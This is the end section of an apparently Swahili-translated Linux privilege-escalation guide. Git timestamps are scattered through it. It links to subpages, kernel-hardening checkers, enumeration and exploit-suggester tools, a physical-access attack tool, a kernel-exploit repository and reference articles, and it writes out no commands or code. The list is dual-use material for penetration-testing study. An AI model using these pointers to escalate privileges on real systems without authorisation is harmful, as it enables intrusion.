[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
### Kutoroka kutoka kwa Mabaa Yaliyozuiwa
2021-10-10 21:09:04 +00:00
{% content-ref url="escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### Cisco - vmanage
2020-08-25 09:31:20 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="cisco-vmanage.md" %}
[cisco-vmanage.md](cisco-vmanage.md)
{% endcontent-ref %}
2020-08-25 09:31:20 +00:00
## Kinga ya Usalama ya Kernel
* [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
* [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
2024-02-11 02:13:58 +00:00
## Msaada Zaidi
[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
## Zana za Kupandisha Mamlaka za Linux/Unix
### **Zana bora ya kutafuta vectors za kupandisha mamlaka za ndani za Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
2021-10-10 21:09:04 +00:00
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
2021-11-04 00:33:15 +00:00
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
2021-10-10 21:09:04 +00:00
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
2024-02-11 02:13:58 +00:00
## Marejeo
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
* [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
* [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
* [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
* [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
* [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
* [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
2024-02-07 04:06:18 +00:00
* [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
* [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
* [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
* [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
* [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
* [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2024-02-07 04:06:18 +00:00
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)